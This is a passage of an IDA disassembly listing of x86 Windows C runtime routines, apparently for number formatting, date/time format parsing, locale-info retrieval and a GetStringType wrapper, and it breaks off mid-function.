; Attributes: bp-based frame
sub_430730 proc near ; CODE XREF: sub_430680+20p
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_8]
cmp dword ptr [edx], 1
jbe short loc_43078B
loc_430746: ; CODE XREF: sub_430730+59j
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_8]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
mov [ebp+arg_0], eax
cmp [ebp+arg_0], 0
jle short loc_43078B
mov edx, [ebp+arg_8]
cmp dword ptr [edx], 1
ja short loc_430746
loc_43078B: ; CODE XREF: sub_430730+14j
; sub_430730+51j
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_4307A4: ; CODE XREF: sub_430730+A6j
mov edx, [ebp+var_4]
mov al, [edx]
mov [ebp+var_C], al
mov ecx, [ebp+var_4]
mov edx, [ebp+var_8]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
mov al, [ebp+var_C]
mov [edx], al
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
cmp edx, [ebp+var_4]
jb short loc_4307A4
mov esp, ebp
pop ebp
retn
sub_430730 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4307E0 proc near ; CODE XREF: sub_430010+EBp
; sub_430010+13Cp ...
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 30h
loc_4307E6: ; CODE XREF: sub_4307E0+2EAj
; sub_4307E0:loc_430BABj ...
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz loc_430C5C
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0
jz loc_430C5C
mov [ebp+var_8], 0
mov dword_4DE310, 0
mov [ebp+var_C], 0
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
jmp short loc_430826
; ---------------------------------------------------------------------------
loc_43081D: ; CODE XREF: sub_4307E0+5Fj
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_430826: ; CODE XREF: sub_4307E0+3Bj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
cmp eax, edx
jnz short loc_430841
jmp short loc_43081D
; ---------------------------------------------------------------------------
loc_430841: ; CODE XREF: sub_4307E0+5Dj
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
mov [ebp+var_14], ecx
mov edx, [ebp+var_14]
sub edx, 27h
mov [ebp+var_14], edx
cmp [ebp+var_14], 52h
ja loc_430BB0
mov ecx, [ebp+var_14]
xor eax, eax
mov al, byte_430C8C[ecx]
jmp off_430C60[eax*4]
loc_430878: ; DATA XREF: .data:00430C6Co
mov edx, [ebp+var_C]
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
sub eax, 1
mov [ebp+var_18], eax
cmp [ebp+var_18], 3
ja short loc_4308B1
mov ecx, [ebp+var_18]
jmp off_430CDF[ecx*4]
loc_430897: ; DATA XREF: .data:off_430CDFo
mov dword_4DE310, 1
loc_4308A1: ; CODE XREF: sub_4307E0+B0j
; DATA XREF: .data:00430CE3o
mov [ebp+var_8], 6Dh
jmp short loc_4308B1
; ---------------------------------------------------------------------------
loc_4308A7: ; CODE XREF: sub_4307E0+B0j
; DATA XREF: .data:00430CE7o
mov [ebp+var_8], 62h
jmp short loc_4308B1
; ---------------------------------------------------------------------------
loc_4308AD: ; CODE XREF: sub_4307E0+B0j
; DATA XREF: .data:00430CEBo
mov [ebp+var_8], 42h
loc_4308B1: ; CODE XREF: sub_4307E0+ABj
; sub_4307E0+C5j ...
jmp loc_430BB0
; ---------------------------------------------------------------------------
loc_4308B6: ; CODE XREF: sub_4307E0+91j
; DATA XREF: .data:00430C70o
mov edx, [ebp+var_C]
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 3
ja short loc_4308EF
mov ecx, [ebp+var_1C]
jmp off_430CEF[ecx*4]
loc_4308D5: ; CODE XREF: sub_4307E0+B0j
; DATA XREF: .data:off_430CEFo
mov dword_4DE310, 1
loc_4308DF: ; CODE XREF: sub_4307E0+B0j
; sub_4307E0+EEj
; DATA XREF: ...
mov [ebp+var_8], 64h
jmp short loc_4308EF
; ---------------------------------------------------------------------------
loc_4308E5: ; CODE XREF: sub_4307E0+B0j
; sub_4307E0+EEj
; DATA XREF: ...
mov [ebp+var_8], 61h
jmp short loc_4308EF
; ---------------------------------------------------------------------------
loc_4308EB: ; CODE XREF: sub_4307E0+B0j
; sub_4307E0+EEj
; DATA XREF: ...
mov [ebp+var_8], 41h
loc_4308EF: ; CODE XREF: sub_4307E0+E9j
; sub_4307E0+103j ...
jmp loc_430BB0
; ---------------------------------------------------------------------------
loc_4308F4: ; CODE XREF: sub_4307E0+91j
; DATA XREF: .data:00430C84o
mov edx, [ebp+var_C]
mov [ebp+var_20], edx
cmp [ebp+var_20], 2
jz short loc_430908
cmp [ebp+var_20], 4
jz short loc_43090E
jmp short loc_430912
; ---------------------------------------------------------------------------
loc_430908: ; CODE XREF: sub_4307E0+11Ej
mov [ebp+var_8], 79h
jmp short loc_430912
; ---------------------------------------------------------------------------
loc_43090E: ; CODE XREF: sub_4307E0+124j
mov [ebp+var_8], 59h
loc_430912: ; CODE XREF: sub_4307E0+126j
; sub_4307E0+12Cj
jmp loc_430BB0
; ---------------------------------------------------------------------------
loc_430917: ; CODE XREF: sub_4307E0+91j
; DATA XREF: .data:00430C74o
mov eax, [ebp+var_C]
mov [ebp+var_24], eax
cmp [ebp+var_24], 1
jz short loc_43092B
cmp [ebp+var_24], 2
jz short loc_430935
jmp short loc_430939
; ---------------------------------------------------------------------------
loc_43092B: ; CODE XREF: sub_4307E0+141j
mov dword_4DE310, 1
loc_430935: ; CODE XREF: sub_4307E0+147j
mov [ebp+var_8], 49h
loc_430939: ; CODE XREF: sub_4307E0+149j
jmp loc_430BB0
; ---------------------------------------------------------------------------
loc_43093E: ; CODE XREF: sub_4307E0+91j
; DATA XREF: .data:00430C68o
mov ecx, [ebp+var_C]
mov [ebp+var_28], ecx
cmp [ebp+var_28], 1
jz short loc_430952
cmp [ebp+var_28], 2
jz short loc_43095C
jmp short loc_430960
; ---------------------------------------------------------------------------
loc_430952: ; CODE XREF: sub_4307E0+168j
mov dword_4DE310, 1
loc_43095C: ; CODE XREF: sub_4307E0+16Ej
mov [ebp+var_8], 48h
loc_430960: ; CODE XREF: sub_4307E0+170j
jmp loc_430BB0
; ---------------------------------------------------------------------------
loc_430965: ; CODE XREF: sub_4307E0+91j
; DATA XREF: .data:00430C78o
mov edx, [ebp+var_C]
mov [ebp+var_2C], edx
cmp [ebp+var_2C], 1
jz short loc_430979
cmp [ebp+var_2C], 2
jz short loc_430983
jmp short loc_430987
; ---------------------------------------------------------------------------
loc_430979: ; CODE XREF: sub_4307E0+18Fj
mov dword_4DE310, 1
loc_430983: ; CODE XREF: sub_4307E0+195j
mov [ebp+var_8], 4Dh
loc_430987: ; CODE XREF: sub_4307E0+197j
jmp loc_430BB0
; ---------------------------------------------------------------------------
loc_43098C: ; CODE XREF: sub_4307E0+91j
; DATA XREF: .data:00430C7Co
mov eax, [ebp+var_C]
mov [ebp+var_30], eax
cmp [ebp+var_30], 1
jz short loc_4309A0
cmp [ebp+var_30], 2
jz short loc_4309AA
jmp short loc_4309AE
; ---------------------------------------------------------------------------
loc_4309A0: ; CODE XREF: sub_4307E0+1B6j
mov dword_4DE310, 1
loc_4309AA: ; CODE XREF: sub_4307E0+1BCj
mov [ebp+var_8], 53h
loc_4309AE: ; CODE XREF: sub_4307E0+1BEj
jmp loc_430BB0
; ---------------------------------------------------------------------------
loc_4309B3: ; CODE XREF: sub_4307E0+91j
; DATA XREF: .data:00430C64o
push offset aAmPm ; "am/pm"
mov ecx, [ebp+arg_0]
push ecx
call sub_431210
add esp, 8
test eax, eax
jnz short loc_4309D3
mov edx, [ebp+arg_0]
add edx, 5
mov [ebp+var_4], edx
jmp short loc_4309F1
; ---------------------------------------------------------------------------
loc_4309D3: ; CODE XREF: sub_4307E0+1E6j
push offset aAP ; "a/p"
mov eax, [ebp+arg_0]
push eax
call sub_431210
add esp, 8
test eax, eax
jnz short loc_4309F1
mov ecx, [ebp+arg_0]
add ecx, 3
mov [ebp+var_4], ecx
loc_4309F1: ; CODE XREF: sub_4307E0+1F1j
; sub_4307E0+206j
mov [ebp+var_8], 70h
jmp loc_430BB0
; ---------------------------------------------------------------------------
loc_4309FA: ; CODE XREF: sub_4307E0+91j
; DATA XREF: .data:00430C80o
mov edx, [ebp+arg_4]
cmp dword ptr [edx+8], 0Bh
jg short loc_430A11
mov eax, [ebp+arg_10]
mov ecx, [eax+98h]
mov [ebp+var_10], ecx
jmp short loc_430A1D
; ---------------------------------------------------------------------------
loc_430A11: ; CODE XREF: sub_4307E0+221j
mov edx, [ebp+arg_10]
mov eax, [edx+9Ch]
mov [ebp+var_10], eax
loc_430A1D: ; CODE XREF: sub_4307E0+22Fj
; sub_4307E0+2DFj
cmp [ebp+var_C], 0
jle loc_430AC4
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jbe loc_430AC4
mov edx, [ebp+var_10]
xor eax, eax
mov al, [edx]
mov ecx, off_447274
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_430A87
mov eax, [ebp+arg_C]
cmp dword ptr [eax], 1
jbe short loc_430A87
mov ecx, [ebp+arg_8]
mov edx, [ecx]
mov eax, [ebp+var_10]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
mov eax, [ebp+arg_C]
mov ecx, [eax]
sub ecx, 1
mov edx, [ebp+arg_C]
mov [edx], ecx
loc_430A87: ; CODE XREF: sub_4307E0+26Ej
; sub_4307E0+276j
mov eax, [ebp+arg_8]
mov ecx, [eax]
mov edx, [ebp+var_10]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
mov edx, [ebp+arg_C]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
jmp loc_430A1D
; ---------------------------------------------------------------------------
loc_430AC4: ; CODE XREF: sub_4307E0+241j
; sub_4307E0+24Dj
mov eax, [ebp+var_4]
mov [ebp+arg_0], eax
jmp loc_4307E6
; ---------------------------------------------------------------------------
loc_430ACF: ; CODE XREF: sub_4307E0+91j
; DATA XREF: .data:off_430C60o
mov ecx, [ebp+var_C]
and ecx, 1
test ecx, ecx
jz loc_430BA2
mov edx, [ebp+arg_0]
add edx, [ebp+var_C]
mov [ebp+arg_0], edx
loc_430AE6: ; CODE XREF: sub_4307E0+3BBj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz loc_430BA0
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0
jz loc_430BA0
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
cmp ecx, 27h
jnz short loc_430B19
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
jmp loc_430BA0
; ---------------------------------------------------------------------------
loc_430B19: ; CODE XREF: sub_4307E0+329j
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
mov edx, off_447274
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8000h
test eax, eax
jz short loc_430B6C
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 1
jbe short loc_430B6C
mov edx, [ebp+arg_8]
mov eax, [edx]
mov ecx, [ebp+arg_0]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_8]
mov [edx], ecx
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
loc_430B6C: ; CODE XREF: sub_4307E0+353j
; sub_4307E0+35Bj
mov ecx, [ebp+arg_8]
mov edx, [ecx]
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_C]
mov ecx, [eax]
sub ecx, 1
mov edx, [ebp+arg_C]
mov [edx], ecx
jmp loc_430AE6
; ---------------------------------------------------------------------------
loc_430BA0: ; CODE XREF: sub_4307E0+30Ej
; sub_4307E0+31Aj ...
jmp short loc_430BAB
; ---------------------------------------------------------------------------
loc_430BA2: ; CODE XREF: sub_4307E0+2F7j
mov eax, [ebp+arg_0]
add eax, [ebp+var_C]
mov [ebp+arg_0], eax
loc_430BAB: ; CODE XREF: sub_4307E0:loc_430BA0j
jmp loc_4307E6
; ---------------------------------------------------------------------------
loc_430BB0: ; CODE XREF: sub_4307E0+80j
; sub_4307E0+91j ...
movsx ecx, [ebp+var_8]
test ecx, ecx
jz short loc_430BDC
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov al, [ebp+var_8]
push eax
call sub_430010
add esp, 14h
mov ecx, [ebp+var_4]
mov [ebp+arg_0], ecx
jmp short loc_430C57
; ---------------------------------------------------------------------------
loc_430BDC: ; CODE XREF: sub_4307E0+3D6j
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, off_447274
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_430C28
mov eax, [ebp+arg_8]
mov ecx, [eax]
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_C]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
loc_430C28: ; CODE XREF: sub_4307E0+417j
mov edx, [ebp+arg_8]
mov eax, [edx]
mov ecx, [ebp+arg_0]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_8]
mov [edx], ecx
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
loc_430C57: ; CODE XREF: sub_4307E0+3FAj
jmp loc_4307E6
; ---------------------------------------------------------------------------
loc_430C5C: ; CODE XREF: sub_4307E0+Ej
; sub_4307E0+1Aj
mov esp, ebp
pop ebp
retn
sub_4307E0 endp
; ---------------------------------------------------------------------------
off_430C60 dd offset loc_430ACF ; DATA XREF: sub_4307E0+91r
dd offset loc_4309B3
dd offset loc_43093E
dd offset loc_430878
dd offset loc_4308B6
dd offset loc_430917
dd offset loc_430965
dd offset loc_43098C
dd offset loc_4309FA
dd offset loc_4308F4
dd offset loc_430BB0
byte_430C8C db 0 ; DATA XREF: sub_4307E0+8Br
db 3 dup(0Ah)
dd 5 dup(0A0A0A0Ah), 0A010A0Ah, 0A0A0A0Ah, 0A0A020Ah, 0A030A0Ah
dd 4 dup(0A0A0A0Ah), 0A010A0Ah, 0A0A040Ah, 0A0A050Ah, 0A060A0Ah
dd 0A0A0A0Ah, 0A0A0807h
db 2 dup(0Ah), 9
off_430CDF dd offset loc_430897 ; DATA XREF: sub_4307E0+B0r
dd offset loc_4308A1
dd offset loc_4308A7
dd offset loc_4308AD
off_430CEF dd offset loc_4308D5 ; DATA XREF: sub_4307E0+EEr
dd offset loc_4308DF
dd offset loc_4308E5
dd offset loc_4308EB
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430D00 proc near ; CODE XREF: sub_42BE50+41p
; sub_42BE50+60p ...
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0A8h
cmp [ebp+arg_0], 1
jnz loc_430E69
mov eax, [ebp+arg_C]
mov [ebp+var_90], eax
lea ecx, [ebp+var_8C]
mov [ebp+var_C], ecx
mov [ebp+var_4], 0
mov [ebp+var_94], 80h
push 0
mov edx, [ebp+var_94]
push edx
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
call sub_432530
add esp, 14h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz loc_430DEF
call dword_4E0350 ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_430D70
jmp loc_430E4D
; ---------------------------------------------------------------------------
loc_430D70: ; CODE XREF: sub_430D00+69j
push 0
push 0
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_432530
add esp, 14h
mov [ebp+var_94], eax
cmp [ebp+var_94], 0
jnz short loc_430D9A
jmp loc_430E4D
; ---------------------------------------------------------------------------
loc_430D9A: ; CODE XREF: sub_430D00+93j
push 58h
push offset aInithelp_c ; "inithelp.c"
push 2
mov edx, [ebp+var_94]
push edx
call sub_4150C0
add esp, 10h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_430DC0
jmp loc_430E4D
; ---------------------------------------------------------------------------
loc_430DC0: ; CODE XREF: sub_430D00+B9j
mov [ebp+var_4], 1
push 0
mov eax, [ebp+var_94]
push eax
mov ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_432530
add esp, 14h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_430DEF
jmp short loc_430E4D
; ---------------------------------------------------------------------------
loc_430DEF: ; CODE XREF: sub_430D00+5Aj
; sub_430D00+EBj
push 63h
push offset aInithelp_c ; "inithelp.c"
push 2
mov ecx, [ebp+var_8]
push ecx
call sub_4150C0
add esp, 10h
mov edx, [ebp+var_90]
mov [edx], eax
mov eax, [ebp+var_90]
cmp dword ptr [eax], 0
jnz short loc_430E19
jmp short loc_430E4D
; ---------------------------------------------------------------------------
loc_430E19: ; CODE XREF: sub_430D00+115j
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+var_90]
mov ecx, [eax]
push ecx
call sub_417760
add esp, 0Ch
cmp [ebp+var_4], 0
jz short loc_430E46
push 2
mov edx, [ebp+var_C]
push edx
call sub_415C60
add esp, 8
loc_430E46: ; CODE XREF: sub_430D00+136j
xor eax, eax
jmp loc_430F86
; ---------------------------------------------------------------------------
loc_430E4D: ; CODE XREF: sub_430D00+6Bj
; sub_430D00+95j ...
cmp [ebp+var_4], 0
jz short loc_430E61
push 2
mov eax, [ebp+var_C]
push eax
call sub_415C60
add esp, 8
loc_430E61: ; CODE XREF: sub_430D00+151j
or eax, 0FFFFFFFFh
jmp loc_430F86
; ---------------------------------------------------------------------------
loc_430E69: ; CODE XREF: sub_430D00+Dj
cmp [ebp+arg_0], 0
jnz loc_430F83
mov [ebp+var_A4], 4
mov ecx, [ebp+arg_C]
mov [ebp+var_9C], ecx
push 0
mov edx, [ebp+var_A4]
push edx
push offset byte_4DE230
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_432390
add esp, 14h
test eax, eax
jnz short loc_430EB0
or eax, 0FFFFFFFFh
jmp loc_430F86
; ---------------------------------------------------------------------------
loc_430EB0: ; CODE XREF: sub_430D00+1A6j
mov edx, [ebp+var_9C]
mov byte ptr [edx], 0
mov [ebp+var_A0], 0
jmp short loc_430ED4
; ---------------------------------------------------------------------------
loc_430EC5: ; CODE XREF: sub_430D00:loc_430F7Aj
mov eax, [ebp+var_A0]
add eax, 1
mov [ebp+var_A0], eax
loc_430ED4: ; CODE XREF: sub_430D00+1C3j
cmp [ebp+var_A0], 4
jge loc_430F7F
cmp dword_447480, 1
jle short loc_430F1B
push 4
mov ecx, [ebp+var_A0]
mov dl, byte_4DE230[ecx*2]
mov byte ptr [ebp+var_98], dl
mov eax, [ebp+var_98]
and eax, 0FFh
push eax
call sub_41FA40
add esp, 8
mov [ebp+var_A8], eax
jmp short loc_430F4E
; ---------------------------------------------------------------------------
loc_430F1B: ; CODE XREF: sub_430D00+1E8j
mov ecx, [ebp+var_A0]
mov dl, byte_4DE230[ecx*2]
mov byte ptr [ebp+var_98], dl
mov eax, [ebp+var_98]
and eax, 0FFh
mov ecx, off_447274
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_A8], edx
loc_430F4E: ; CODE XREF: sub_430D00+219j
cmp [ebp+var_A8], 0
jz short loc_430F78
mov eax, [ebp+var_9C]
movsx ecx, byte ptr [eax]
imul ecx, 0Ah
movsx edx, byte ptr [ebp+var_98]
lea eax, [ecx+edx-30h]
mov ecx, [ebp+var_9C]
mov [ecx], al
jmp short loc_430F7A
; ---------------------------------------------------------------------------
loc_430F78: ; CODE XREF: sub_430D00+255j
jmp short loc_430F7F
; ---------------------------------------------------------------------------
loc_430F7A: ; CODE XREF: sub_430D00+276j
jmp loc_430EC5
; ---------------------------------------------------------------------------
loc_430F7F: ; CODE XREF: sub_430D00+1DBj
; sub_430D00:loc_430F78j
xor eax, eax
jmp short loc_430F86
; ---------------------------------------------------------------------------
loc_430F83: ; CODE XREF: sub_430D00+16Dj
or eax, 0FFFFFFFFh
loc_430F86: ; CODE XREF: sub_430D00+148j
; sub_430D00+164j ...
mov esp, ebp
pop ebp
retn
sub_430D00 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, off_448398
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430FA0 proc near ; CODE XREF: .data:0042D096p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_435F80
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFDCh
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_4DE23C, 0
jnz short loc_43101E
lea eax, [ebp+var_1C]
push eax
push 1
push offset dword_435398
push 1
call dword_4E0300 ; GetStringTypeW
test eax, eax
jz short loc_430FF2
mov dword_4DE23C, 1
jmp short loc_43101E
; ---------------------------------------------------------------------------
loc_430FF2: ; CODE XREF: sub_430FA0+44j
lea ecx, [ebp+var_1C]
push ecx
push 1
push offset dword_435394
push 1
push 0
call dword_4E0304 ; GetStringTypeA
test eax, eax
jz short loc_431017
mov dword_4DE23C, 2
jmp short loc_43101E
; ---------------------------------------------------------------------------
loc_431017: ; CODE XREF: sub_430FA0+69j
xor eax, eax
jmp loc_4311F9
; ---------------------------------------------------------------------------
loc_43101E: ; CODE XREF: sub_430FA0+2Dj
; sub_430FA0+50j ...
cmp dword_4DE23C, 1
jnz short loc_431042
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call dword_4E0300 ; GetStringTypeW
jmp loc_4311F9
; ---------------------------------------------------------------------------
loc_431042: ; CODE XREF: sub_430FA0+85j
cmp dword_4DE23C, 2
jnz loc_4311F7
cmp [ebp+arg_10], 0
jnz short loc_43105D
mov eax, dword_4DE084
mov [ebp+arg_10], eax
loc_43105D: ; CODE XREF: sub_430FA0+B3j
push 0
push 0
push 0
push 0
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
push 220h
mov eax, [ebp+arg_10]
push eax
call dword_4E0424 ; WideCharToMultiByte
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_43108C
xor eax, eax
jmp loc_4311F9
; ---------------------------------------------------------------------------
loc_43108C: ; CODE XREF: sub_430FA0+E3j
mov [ebp+var_4], 0
mov eax, [ebp+var_28]
add eax, 3
and al, 0FCh
call sub_4181D0
mov [ebp+var_30], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_30]
mov [ebp+var_2C], ecx
mov edx, [ebp+var_28]
push edx
push 0
mov eax, [ebp+var_2C]
push eax
call sub_417700
add esp, 0Ch
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_4310DE
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_2C], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_4310DE: ; CODE XREF: sub_430FA0+125j
cmp [ebp+var_2C], 0
jnz short loc_4310EB
xor eax, eax
jmp loc_4311F9
; ---------------------------------------------------------------------------
loc_4310EB: ; CODE XREF: sub_430FA0+142j
push 0
push 0
mov ecx, [ebp+var_28]
push ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
push 220h
mov edx, [ebp+arg_10]
push edx
call dword_4E0424 ; WideCharToMultiByte
test eax, eax
jnz short loc_431119
xor eax, eax
jmp loc_4311F9
; ---------------------------------------------------------------------------
loc_431119: ; CODE XREF: sub_430FA0+170j
mov [ebp+var_4], 1
mov eax, [ebp+var_28]
lea eax, [eax+eax+2]
add eax, 3
and al, 0FCh
call sub_4181D0
mov [ebp+var_34], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_34]
mov [ebp+var_24], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_43115D
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_43115D: ; CODE XREF: sub_430FA0+1A4j
cmp [ebp+var_24], 0
jnz short loc_43116A
xor eax, eax
jmp loc_4311F9
; ---------------------------------------------------------------------------
loc_43116A: ; CODE XREF: sub_430FA0+1C1j
cmp [ebp+arg_14], 0
jnz short loc_431179
mov edx, dword_4DE074
mov [ebp+arg_14], edx
loc_431179: ; CODE XREF: sub_430FA0+1CEj
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_24]
mov word ptr [ecx+eax*2], 0FFFFh
mov edx, [ebp+arg_8]
mov eax, [ebp+var_24]
mov word ptr [eax+edx*2-2], 0FFFFh
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+var_28]
push edx
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_14]
push edx
call dword_4E0304 ; GetStringTypeA
mov [ebp+var_20], eax
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_24]
xor edx, edx
mov dx, [ecx+eax*2-2]
cmp edx, 0FFFFh
jz short loc_4311D8
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_24]
xor edx, edx
mov dx, [ecx+eax*2]
cmp edx, 0FFFFh
jz short loc_4311DC
loc_4311D8: ; CODE XREF: sub_430FA0+222j
xor eax, eax
jmp short loc_4311F9
